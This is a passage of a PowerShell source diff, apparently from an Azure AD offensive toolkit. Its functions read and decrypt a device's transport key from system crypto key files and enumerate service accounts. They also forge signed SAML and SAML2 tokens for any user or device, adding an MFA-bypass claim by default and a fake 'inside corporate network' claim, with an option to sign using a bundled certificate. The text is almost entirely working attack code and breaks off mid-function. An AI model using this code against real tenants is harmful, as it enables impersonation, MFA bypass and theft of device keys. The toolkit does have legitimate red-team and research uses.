$attributes["CertPath" ] = "Cert:\$certRoot\My\$certThumbnail"
|
||||
$attributes["TenantId" ] = $oids.TenantId
|
||||
$attributes["DeviceId" ] = $oids.DeviceId
|
||||
$attributes["ObjectId" ] = $oids.ObjectId
|
||||
|
||||
# This will fail for DeviceTransportKey because running as Local System
|
||||
try
|
||||
{
|
||||
$attributes["KeyName" ] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
|
||||
$attributes["KeyFriendlyName"] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uipolicy.FriendlyName
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Okay
|
||||
}
|
||||
|
||||
# Read the join info
|
||||
$regItem = Get-Item -Path "$joinRoot\JoinInfo\$certThumbnail"
|
||||
$valueNames = $regItem.GetValueNames()
|
||||
foreach($name in $valueNames)
|
||||
{
|
||||
$attributes[$name] = $regItem.GetValue($name)
|
||||
}
|
||||
|
||||
# Check the TPM
|
||||
if($attributes["TransportKeyStatus"] -eq 3)
|
||||
{
|
||||
Write-Warning "Transport key stored to TPM, exporting not possible!"
|
||||
}
|
||||
|
||||
return New-Object psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
# This file contains utility functions for local AAD Joined devices
|
||||
|
||||
# Exports the transport key of the local device
|
||||
# Dec 17th 2021
|
||||
function Get-LocalDeviceTransportKeys
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ValidateSet('Joined','Registered')]
|
||||
[String]$JoinType,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$IdpDomain,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$TenantId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserEmail
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$sha256 = [System.Security.Cryptography.SHA256]::Create()
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Calculate registry key parts
|
||||
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($IdpDomain)))
|
||||
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
|
||||
$email = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($UserEmail)))
|
||||
$sid = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes(([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)))
|
||||
|
||||
|
||||
if($JoinType -eq "Joined")
|
||||
{
|
||||
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$Idp\$tenant"
|
||||
}
|
||||
else
|
||||
{
|
||||
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\$sid\$idp\$($tenant)_$($email)"
|
||||
}
|
||||
|
||||
if((Test-Path -Path $registryPath) -eq $false)
|
||||
{
|
||||
Throw "The device seems not to be Azure AD joined or registered. Registry key not found: $registryPath"
|
||||
}
|
||||
|
||||
# Get the Transport Key name from registry
|
||||
try
|
||||
{
|
||||
$transPortKeyName = Get-ItemPropertyValue -Path "$registryPath" -Name "SoftwareKeyTransportKeyName"
|
||||
}
|
||||
catch
|
||||
{
|
||||
# This machine probably has a TPM, so the value name would be "TpmKeyTransportKeyName"
|
||||
Throw "Unable to get SoftwareTransportKeyName from $registryPath"
|
||||
}
|
||||
|
||||
Write-Verbose "TransportKey name: $transportKeyName`n"
|
||||
|
||||
# Loop through the system keys
|
||||
$systemKeys = Get-ChildItem -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys"
|
||||
foreach($systemKey in $systemKeys)
|
||||
{
|
||||
Write-Verbose "Parsing $($systemKey.FullName)"
|
||||
$keyBlob = Get-BinaryContent $systemKey.FullName
|
||||
|
||||
# Parse the blob to get the name
|
||||
$key = Parse-CngBlob -Data $keyBlob
|
||||
if($key.name -eq $transPortKeyName)
|
||||
{
|
||||
Write-Verbose "Transport Key found! Decrypting.."
|
||||
|
||||
# Decrypt the found key
|
||||
$transPortKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine
|
||||
|
||||
return $transPortKey
|
||||
}
|
||||
}
|
||||
}
|
||||
End
|
||||
{
|
||||
$sha256.Dispose()
|
||||
}
|
||||
}
|
||||
|
||||
# Parses the oid values of the given certificate
|
||||
# Dec 23rd 2021
|
||||
function Parse-CertificateOIDs
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
|
||||
)
|
||||
Process
|
||||
{
|
||||
function Get-OidRawValue
|
||||
{
|
||||
Param([byte[]]$RawValue)
|
||||
Process
|
||||
{
|
||||
# Is this DER value?
|
||||
if($RawValue.Length -gt 2 -and ($RawValue[2] -eq $RawValue.Length-3 ))
|
||||
{
|
||||
return $RawValue[3..($RawValue.Length-1)]
|
||||
}
|
||||
else
|
||||
{
|
||||
return $RawValue
|
||||
}
|
||||
}
|
||||
}
|
||||
$retVal = New-Object psobject
|
||||
foreach($ext in $Certificate.Extensions)
|
||||
{
|
||||
switch($ext.Oid.Value)
|
||||
{
|
||||
"1.2.840.113556.1.5.284.2" {
|
||||
$retVal | Add-Member -NotePropertyName "DeviceId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
|
||||
|
||||
}
|
||||
"1.2.840.113556.1.5.284.3" {
|
||||
$retVal | Add-Member -NotePropertyName "ObjectId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
|
||||
|
||||
}
|
||||
"1.2.840.113556.1.5.284.5" {
|
||||
$retVal | Add-Member -NotePropertyName "TenantId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
|
||||
|
||||
}
|
||||
"1.2.840.113556.1.5.284.8" {
|
||||
# Tenant region
|
||||
# AF = Africa
|
||||
# AS = Asia
|
||||
# AP = Australia/Pasific
|
||||
# EU = Europe
|
||||
# ME = Middle East
|
||||
# NA = North America
|
||||
# SA = South America
|
||||
$retVal | Add-Member -NotePropertyName "Region" -NotePropertyValue ([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData)))
|
||||
}
|
||||
"1.2.840.113556.1.5.284.7" {
|
||||
# JoinType
|
||||
# 0 = Registered
|
||||
# 1 = Joined
|
||||
$retVal | Add-Member -NotePropertyName "JoinType" -NotePropertyValue ([int]([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData))))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $retVal
|
||||
}
|
||||
}
|
||||
|
||||
# Gets service account names for all services
|
||||
# Aug 29th 2022
|
||||
function Get-ServiceAccountNames
|
||||
{
|
||||
[cmdletbinding()]
|
||||
|
||||
Param()
|
||||
Process
|
||||
{
|
||||
foreach($service in Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Services\")
|
||||
{
|
||||
$svcName = $service.PSChildName
|
||||
$svcAccount = $service.GetValue("ObjectName")
|
||||
|
||||
Write-Debug "Service: '$svcName', AccountName: '$svcAccount'"
|
||||
|
||||
New-Object psobject -Property ([ordered]@{"Service" = $svcName; "AccountName" = $svcAccount})
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,843 @@
|
||||
# any.sts public key
|
||||
$any_sts="MIIDcTCCAligAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJmaTESMBAGA1UECAwJUGlya2FubWFhMREwDwYDVQQKDAhHZXJlbmlvczEcMBoGA1UEAwwTaGFjay5vMzY1ZG9tYWluLm9yZzAeFw0xODAyMjExMzEyNDVaFw0yODAyMTkxMzEyNDVaMFIxCzAJBgNVBAYTAmZpMRIwEAYDVQQIDAlQaXJrYW5tYWExETAPBgNVBAoMCEdlcmVuaW9zMRwwGgYDVQQDDBNoYWNrLm8zNjVkb21haW4ub3JnMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQIApH73Hcv30uHHve6Zd3E/aEeFgQRMZD/CJUQC2DfSk0mDX8X75MIo7gP+62ZTUsOxhSDdOOVYshK8Kyk9VZvo21A5hDcCudXxc/eifCdwGLalCaOQt8pdMlYJgsBDcieMNToCx2pXp1PvkJdKc2JiXQCIAolJySbNXGJbBG1Oh4tty7lEXUqHpHgqiIJCb64q64BIQpZr/WQG0QgtH/gwWYz7b/psNA4xVi8RJnRUl7I62+j0WVSTih2j3kK20j5OIW9Rk+5XoHJ5npOBM84pYJ6yxMz1sOdSqOccAjSVHWFKdM437PxAPeiXAXoBKczGZ72Q8ocz2YSLGKcSMnYCrhECAwEAAaNQME4wHQYDVR0OBBYEFNu32o5XSIQ0lvwB+d2cnTlrtk2PMB8GA1UdIwQYMBaAFNu32o5XSIQ0lvwB+d2cnTlrtk2PMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQENBQADggECAHokwTra0dlyG5jj08TiHlx1pJFnqlejjpFXaItuk2jEBfO/fv1AJaETSR5vupFfDHA337oPiqWugxai1TIvJGKhZImNloMj8lyeZk/9/5Pt2X4N8r1JpAQzt+Ez3z7aNrAFxRjJ0Y+rDDcSItZ5vaXJ5PqBvR7icjIBaXrHVFUC6OZ2RkebbpajbIdt6U/P7ovg7L1J6LAzL/asATZzM3Mjn+9rsC9xLbJwuEabLU+BxySsNo8TULYi9O2MSJ9FvddE6n3OPqrmldldCrb6OugK/pzCwjTnVgRtrHNJc+zKavbiu0Yfp8uYhvCCWAakdQ8g6ZNJ1TGSaYNIrpTIhXIJ"
|
||||
|
||||
# Creates a SAML token
|
||||
# Updated Feb 19th to support device registration. Changed signature and digest to SHA256
|
||||
function New-SAMLToken
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a SAML token
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a valid SAML token for given user
|
||||
|
||||
.Parameter UPN
|
||||
User Principal Name (UPN) of the user or device. For the user, this is not used by AAD Identity Federation so can be any email address.
|
||||
For the device, this is the display name of the device.
|
||||
|
||||
.Parameter ImmutableID
|
||||
Immutable ID of the user or device. For synced users, this is user's AD object GUID encoded in B64.
|
||||
For non-synced users this must be set manually, can be any unique string within the tenant.
|
||||
User doesn't have to federated user.
|
||||
|
||||
For device, this is automatically derived from the Device GUID parameter
|
||||
|
||||
.Parameter Issuer
|
||||
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
|
||||
unique string within Azure AD. Must match federation information of validated domain in the tenant.
|
||||
|
||||
.Parameter ByPassMFA
|
||||
Whether to add an attribute to by-pass MFA. Default is $True.
|
||||
|
||||
.Parameter DeviceGUID
|
||||
The GUID of the device.
|
||||
|
||||
.Parameter SID
|
||||
The SID of the device. If not given, a random SID is created.
|
||||
|
||||
.Parameter Certificate
|
||||
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
|
||||
|
||||
.Parameter PfxFileName
|
||||
The full path to .pfx file from where to load the certificate
|
||||
|
||||
.Parameter PfxPassword
|
||||
The password of the .pfx file
|
||||
|
||||
.Example
|
||||
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
|
||||
.Example
|
||||
PS C:\>$cert = Load-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
|
||||
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
|
||||
|
||||
.Example
|
||||
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
|
||||
.Example
|
||||
PS C:\>$saml = New-AADIntSAMLToken -UPN "My PC" -DeviceGUID (New-Guid) -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
|
||||
[String]$UPN="joulupukki@korvatunturi.fi", # Not used in AAD identity federation for users, defaults to Santa Claus ;)
|
||||
|
||||
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
|
||||
[String]$ImmutableID,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Issuer,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$ByPassMFA=$true,
|
||||
|
||||
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
|
||||
[GUID]$DeviceGUID,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$SID,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotBefore,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotAfter,
|
||||
|
||||
|
||||
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
|
||||
[switch]$UseBuiltInCertificate,
|
||||
|
||||
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
|
||||
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
|
||||
[string]$PfxPassword
|
||||
|
||||
|
||||
)
|
||||
Begin
|
||||
{
|
||||
# Import the assemblies
|
||||
Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
|
||||
}
|
||||
Process
|
||||
{
|
||||
# If we got device guid, this is a device so use Device GUID as immutable id and create a new SID if needed
|
||||
if($isDevice = $DeviceGUID -ne $null)
|
||||
{
|
||||
$ImmutableID = Convert-ByteArrayToB64 -Bytes $DeviceGUID.ToByteArray()
|
||||
if([string]::IsNullOrEmpty($SID))
|
||||
{
|
||||
$SID = New-RandomSID
|
||||
}
|
||||
}
|
||||
|
||||
# Do we use built-in certificate (any.sts)
|
||||
if($UseBuiltInCertificate)
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
|
||||
}
|
||||
elseif($Certificate -eq $null) # Load the certificate
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
|
||||
}
|
||||
|
||||
# Check the dates
|
||||
if([String]::IsNullOrEmpty($NotBefore))
|
||||
{
|
||||
$NotBefore = Get-Date
|
||||
}
|
||||
if([String]::IsNullOrEmpty($NotAfter))
|
||||
{
|
||||
$NotAfter = $NotBefore.AddHours(1)
|
||||
}
|
||||
|
||||
# Create a new SAML assertion
|
||||
$assertion = New-Object System.IdentityModel.Tokens.SamlAssertion
|
||||
|
||||
# Set id, time, and issuer
|
||||
$assertion.AssertionId = "_$((New-Guid).ToString())"
|
||||
$assertion.IssueInstant = $NotBefore.ToUniversalTime()
|
||||
$assertion.Issuer = $Issuer
|
||||
|
||||
# Create audience and SAML conditions objects
|
||||
$audienceCondition = New-Object System.IdentityModel.Tokens.SamlAudienceRestrictionCondition -ArgumentList @(,[System.Uri[]]@(New-Object System.Uri("urn:federation:MicrosoftOnline")))
|
||||
$SAMLConditionList = @($audienceCondition)
|
||||
$SAMLConditions = New-Object System.IdentityModel.Tokens.SamlConditions($NotBefore, $NotAfter, [System.IdentityModel.Tokens.SamlAudienceRestrictionCondition[]]$SAMLConditionList)
|
||||
$assertion.Conditions=$SAMLConditions
|
||||
|
||||
# Create subject and attribute statements
|
||||
$subject = New-Object System.IdentityModel.Tokens.SamlSubject
|
||||
$subject.ConfirmationMethods.Add("urn:oasis:names:tc:SAML:1.0:cm:bearer")
|
||||
|
||||
$statement = New-Object System.IdentityModel.Tokens.SamlAttributeStatement
|
||||
# Note! Azure AD identity federation doesn't care about UPN at all, it can be anything.
|
||||
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.xmlsoap.org/claims","UPN",[string[]]@($UPN))))
|
||||
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/LiveID/Federation/2008/05","ImmutableID",[string[]]@($ImmutableID))))
|
||||
if($ByPassMFA -and !$IsDevice)
|
||||
{
|
||||
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/claims","authnmethodsreferences",[string[]]@("http://schemas.microsoft.com/claims/multipleauthn"))))
|
||||
}
|
||||
|
||||
# Default authentication method
|
||||
$authenticationMethod = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
|
||||
|
||||
# Set the device specific attributes and methods
|
||||
if($IsDevice)
|
||||
{
|
||||
$subject.Name = $ImmutableID
|
||||
$subject.NameFormat = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
|
||||
|
||||
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01","accounttype",[string[]]@("DJ"))))
|
||||
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/identity/claims","onpremobjectguid",[string[]]@($ImmutableID))))
|
||||
|
||||
$authenticationMethod = "urn:federation:authentication:windows"
|
||||
}
|
||||
if(![string]::IsNullOrEmpty($SID))
|
||||
{
|
||||
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2008/06/identity/claims","primarysid",[string[]]@($SID))))
|
||||
}
|
||||
# Inside company network claim
|
||||
[System.IdentityModel.Tokens.SamlAttribute]$attribute = New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01","insidecorporatenetwork",[string[]]@("true"))
|
||||
$attribute.OriginalIssuer = "CLIENT CONTEXT"
|
||||
$statement.Attributes.Add($attribute)
|
||||
|
||||
$statement.SamlSubject = $subject
|
||||
|
||||
$assertion.Statements.Add($statement)
|
||||
|
||||
# Create authentication statement
|
||||
$assertion.Statements.Add((New-Object System.IdentityModel.Tokens.SamlAuthenticationStatement($subject,$authenticationMethod, $NotBefore, $null, $null, $null)))
|
||||
|
||||
# Sign the assertion
|
||||
$ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate)))
|
||||
$assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha256Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha256Digest, $ski )
|
||||
|
||||
# Create a SAML token
|
||||
$token = New-Object System.IdentityModel.Tokens.SamlSecurityToken($assertion)
|
||||
|
||||
# Convert to XML
|
||||
$handler = New-Object System.IdentityModel.Tokens.SamlSecurityTokenHandler
|
||||
$writer = New-Object System.IO.StringWriter
|
||||
$handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token)
|
||||
$strToken=$writer.ToString()
|
||||
|
||||
return $strToken
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SAML token
|
||||
# Updated Feb 19th: Changed signature and digest to SHA 256
|
||||
function New-SAML2Token
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a SAML token
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a valid SAML token for given user
|
||||
|
||||
.Parameter UPN
|
||||
User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address.
|
||||
|
||||
.Parameter ImmutableID
|
||||
Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64.
|
||||
For non-synced users this must be set manually, can be any unique string within the tenant.
|
||||
User doesn't have to federated user.
|
||||
|
||||
.Parameter Issuer
|
||||
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
|
||||
unique string within Azure AD. Must match federation information of validated domain in the tenant.
|
||||
|
||||
.Parameter Certificate
|
||||
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
|
||||
|
||||
.Parameter PfxFileName
|
||||
The full path to .pfx file from where to load the certificate
|
||||
|
||||
.Parameter PfxPassword
|
||||
The password of the .pfx file
|
||||
|
||||
.Example
|
||||
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
|
||||
.Example
|
||||
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
|
||||
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UPN="joulupukki@korvatunturi.fi", # Not used in AAD identity federation, defaults to Santa Claus ;)
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ImmutableID,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Issuer,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$InResponseTo,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotBefore,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotAfter,
|
||||
|
||||
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
|
||||
[switch]$UseBuiltInCertificate,
|
||||
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
|
||||
[string]$PfxPassword
|
||||
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Do we use built-in certificate (any.sts)
|
||||
if($UseBuiltInCertificate)
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
|
||||
}
|
||||
elseif($Certificate -eq $null) # Load the ceftificate
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
|
||||
}
|
||||
|
||||
if([String]::IsNullOrEmpty($InResponseTo))
|
||||
{
|
||||
$InResponseTo = "_$((New-Guid).ToString())";
|
||||
}
|
||||
|
||||
# Import the assemblies
|
||||
Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
|
||||
|
||||
# Check the dates
|
||||
if([String]::IsNullOrEmpty($NotBefore))
|
||||
{
|
||||
$NotBefore = Get-Date
|
||||
}
|
||||
if([String]::IsNullOrEmpty($NotAfter))
|
||||
{
|
||||
$NotAfter = $NotBefore.AddHours(1)
|
||||
}
|
||||
|
||||
|
||||
# Create a new SAML2 assertion
|
||||
$identifier = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($Issuer)
|
||||
$assertion = New-Object System.IdentityModel.Tokens.Saml2Assertion($identifier)
|
||||
|
||||
# Set id, time, and issuer
|
||||
$assertion.Id = "_$((New-Guid).ToString())"
|
||||
$assertion.IssueInstant = $NotBefore.ToUniversalTime()
|
||||
|
||||
# Create subject and related objects
|
||||
$subject = New-Object System.IdentityModel.Tokens.Saml2Subject
|
||||
$subject.NameId = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($ImmutableID)
|
||||
$subject.NameId.Format = New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:nameid-format:persistent")
|
||||
$confirmationData = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmationData
|
||||
$confirmationData.InResponseTo = New-Object System.IdentityModel.Tokens.Saml2Id($InResponseTo)
|
||||
$confirmationData.NotOnOrAfter = $NotAfter
|
||||
$confirmationData.Recipient = New-Object System.uri("https://login.microsoftonline.com/login.srf")
|
||||
$confirmation = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmation(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:cm:bearer"))#, $confirmationData)
|
||||
$confirmation.SubjectConfirmationData = $confirmationData
|
||||
$subject.SubjectConfirmations.Add($confirmation)
|
||||
$assertion.Subject = $subject
|
||||
|
||||
# Create condition and audience objects
|
||||
$conditions = New-Object System.IdentityModel.Tokens.Saml2Conditions
|
||||
$conditions.NotBefore = $NotBefore
|
||||
$conditions.NotOnOrAfter = $NotAfter
|
||||
$conditions.AudienceRestrictions.Add((New-Object System.IdentityModel.Tokens.Saml2AudienceRestriction(New-Object System.Uri("urn:federation:MicrosoftOnline", [System.UriKind]::RelativeOrAbsolute))))
|
||||
$assertion.Conditions = $conditions
|
||||
|
||||
# Add statements
|
||||
$attrUPN = New-Object System.IdentityModel.Tokens.Saml2Attribute("IDPEmail",$UPN)
|
||||
$statement = New-Object System.IdentityModel.Tokens.Saml2AttributeStatement
|
||||
$statement.Attributes.Add($attrUPN)
|
||||
$assertion.Statements.Add($statement)
|
||||
$authenticationContext = New-Object System.IdentityModel.Tokens.Saml2AuthenticationContext(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"))
|
||||
$authenticationStatement = New-Object System.IdentityModel.Tokens.Saml2AuthenticationStatement($authenticationContext)
|
||||
$authenticationStatement.AuthenticationInstant = $NotBefore
|
||||
$authenticationStatement.SessionIndex = $assertion.Id.Value
|
||||
$assertion.Statements.Add($authenticationStatement)
|
||||
|
||||
|
||||
|
||||
# Sign the assertion
|
||||
$ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate)))
|
||||
$assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha256Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha256Digest, $ski )
|
||||
|
||||
# Create a SAML token
|
||||
$token = New-Object System.IdentityModel.Tokens.Saml2SecurityToken($assertion)
|
||||
|
||||
# Convert to XML
|
||||
$handler = New-Object System.IdentityModel.Tokens.Saml2SecurityTokenHandler
|
||||
$writer = New-Object System.IO.StringWriter
|
||||
$handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token)
|
||||
$strToken=$writer.ToString()
|
||||
|
||||
return $strToken
|
||||
}
|
||||
}
|
||||
|
||||
# Create WSFed response
|
||||
function New-WSFedResponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SAMLToken,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotBefore,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotAfter
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
# Check the dates
|
||||
if([String]::IsNullOrEmpty($NotBefore))
|
||||
{
|
||||
$NotBefore = Get-Date
|
||||
}
|
||||
if([String]::IsNullOrEmpty($NotAfter))
|
||||
{
|
||||
$NotAfter = $NotBefore.AddHours(1)
|
||||
}
|
||||
|
||||
# Create the Request Security Token Response
|
||||
$response=@"
|
||||
<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
|
||||
<t:Lifetime>
|
||||
<wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$($NotBefore.toString("o"))</wsu:Created>
|
||||
